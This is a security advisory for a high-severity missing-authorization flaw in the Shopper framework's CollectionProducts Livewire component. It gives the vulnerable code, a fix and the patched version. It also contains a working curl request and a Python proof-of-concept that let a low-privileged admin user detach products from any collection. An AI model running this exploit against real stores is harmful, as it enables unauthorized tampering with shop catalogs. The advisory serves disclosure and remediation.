CVE-2026-56825: High severity composer/shopper/framework vulnerability
Title
Missing authorization on product removal actions in CollectionProducts component
Description
A lack of authorization control was discovered on both the per-record delete action and the bulk delete action inside packages/admin/src/Livewire/Components/Collection/CollectionProducts.php. Neither the Action::make('delete') at line 73 nor the DeleteBulkAction::make() at line 91 carries an ->authorize(...) chain. The component also exposes public Collection $collection without #[Locked], so the collection ID is mutable in the Livewire wire payload. Any authenticated admin-panel session, including staff who hold only browsecollections, can detach individual products or bulk-detach all products from any collection in the database.
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)
Affected files
- packages/admin/src/Livewire/Components/Collection/CollectionProducts.php:40,73-88,91-105
php // Line 40 - client-mutable, no #[Locked] public Collection $collection;
// Lines 73-88 - per-record delete action, no ->authorize(...) ->recordActions([ Action::make('delete') ->label(('shopper::forms.actions.delete')) ->icon(Untitledui::Trash03) ->iconButton() ->color('danger') ->requiresConfirmation() ->action(function (Product $record): void { $this->collection->products()->detach([$record->id]); $this->dispatch('collection.add.product'); Notification::make() ->title(('shopper::pages/collections.removeproduct')) ->success() ->send(); }), ])
// Lines 91-105 - bulk remove action, no ->authorize(...) ->groupedBulkActions([ DeleteBulkAction::make() ->label(('shopper::forms.actions.delete')) ->icon(Untitledui::Trash03) ->requiresConfirmation() ->action(function (EloquentCollection $records): void { $this->collection->products()->detach($records->pluck('id')->toArray()); $this->dispatch('collection.add.product'); Notification::make() ->title(('shopper::pages/collections.removeproduct')) ->success() ->send(); }) ->deselectRecordsAfterCompletion(), ])
Steps to reproduce
Prerequisites: any admin-panel account, including one whose role holds only browsecollections (no editcollections required).
bash SESSION="laravelsession=<yoursessionvalue>" XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"
Step 1: Note the collection ID you wish to empty (e.g., collectionid=5). Step 2: Call the bulk table action on the CollectionProducts component, substituting collection ID 5 in the component state.
curl -s -X POST http://localhost/shopper/livewire/update \ -H "Content-Type: application/json" \ -H "X-XSRF-TOKEN: $XSRF" \ -H "Cookie: $SESSION" \ -H "X-Livewire: 1" \ -d '{ "components": [{ "snapshot": "{\"id\":\"COLLECTIONPRODUCTSCOMPONENTID\",\"data\":{\"collection\":5},\"checksum\":\"...\"}", "updates": {}, "calls": [{ "path": "", "method": "callBulkAction", "params": ["delete", [1, 2, 3, 4, 5]] }] }] }' Expected: HTTP 200, all listed product IDs detached from collection 5, regardless of the caller having only browsecollections.
Proof of concept
python #!/usr/bin/env python3 """ CollectionProducts authorization bypass PoC.
Set these environment variables before running: BASEURL e.g. http://localhost SESSIONCOOKIE value of the laravelsession cookie XSRFTOKEN URL-decoded value of the XSRF-TOKEN cookie COMPONENTID Livewire component snapshot ID (from page source) COLLECTIONID integer ID of the target collection PRODUCTIDS comma-separated product IDs to detach (e.g. "1,2,3") """
import json import os import requests
baseurl = os.environ['BASEURL'] session = os.environ['SESSIONCOOKIE'] xsrf = os.environ['XSRFTOKEN'] componentid = os.environ['COMPONENTID'] collectionid = int(os.environ['COLLECTIONID']) productids = [int(x) for x in os.environ['PRODUCTIDS'].split(',')]
headers = { 'Content-Type': 'application/json', 'Accept': 'text/html, application/xhtml+xml', 'X-XSRF-TOKEN': xsrf, 'Cookie': f'laravelsession={session}', 'X-Livewire': '1', }
snapshot = json.dumps({ 'id': componentid, 'data': {'collection': collectionid}, 'checksum': 'UNLOCKEDPROPNOCHECKSUMNEEDED', })
payload = { 'components': [{ 'snapshot': snapshot, 'updates': {}, 'calls': [{ 'path': '', 'method': 'callBulkAction', 'params': ['delete', productids], }] }] }
r = requests.post(f'{baseurl}/shopper/livewire/update', headers=headers, json=payload) print(f'Status: {r.statuscode}') print(r.text[:500])
Impact
A staff member holding only browsecollections can silently empty any collection by detaching all of its products. Collections drive storefront catalog grouping; removing products from a collection breaks the associated landing pages and promotions for those product groups. Because $collection is not locked, the attacker is not limited to the collection they navigated to: they can target any collection ID in the database, including featured promotional collections they have never viewed.
Suggested fix
php // packages/admin/src/Livewire/Components/Collection/CollectionProducts.php
use Livewire\Attributes\Locked;
#[Locked] // prevent client-side ID substitution public Collection $collection;
// Per-record action: Action::make('delete') ->authorize('editcollections') // add this ->action(function (Product $record): void { $this->collection->products()->detach([$record->id]); // ... }),
// Bulk action: DeleteBulkAction::make() ->authorize('editcollections') // add this ->action(function (EloquentCollection $records): void { $this->collection->products()->detach($records->pluck('id')->toArray()); // ... })
Credits
Reported by Vishal Shukla (@shukla304 / @therawdev).
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/shopper/frameworkto a version that resolves this vulnerability.Fixed in 2.9.2 - Configuration
Update packages/admin/src/Livewire/Components/Collection/CollectionProducts.php so that the per-record delete action (Action::make('delete') at lines ~73-88) includes ->authorize('edit_collections'), and the bulk remove/delete action (DeleteBulkAction::make() at lines ~91-105) also includes ->authorize('edit_collections').
Livewire component: packages/admin/src/Livewire/Components/Collection/CollectionProducts.php Authorization on delete actions = Add ->authorize('edit_collections') to both per-record Action::make('delete') and bulk DeleteBulkAction::make()
Event History
Frequently Asked Questions
Who can exploit this issue?
Any authenticated admin-panel user, including staff accounts that have only the browse_collections permission, can exploit it. The attacker does not need user interaction or elevated collection-management privileges.
What can an attacker do?
An attacker can detach individual products from a collection or use the bulk action to detach all products from any collection in the database. The reported impact affects integrity and availability; no confidentiality impact is stated.
How does access to other collections become possible?
The CollectionProducts component exposes its collection property without a Livewire #[Locked] attribute, making the collection ID mutable through the Livewire wire payload. This allows an authenticated attacker to target collections other than the one they would normally be viewing.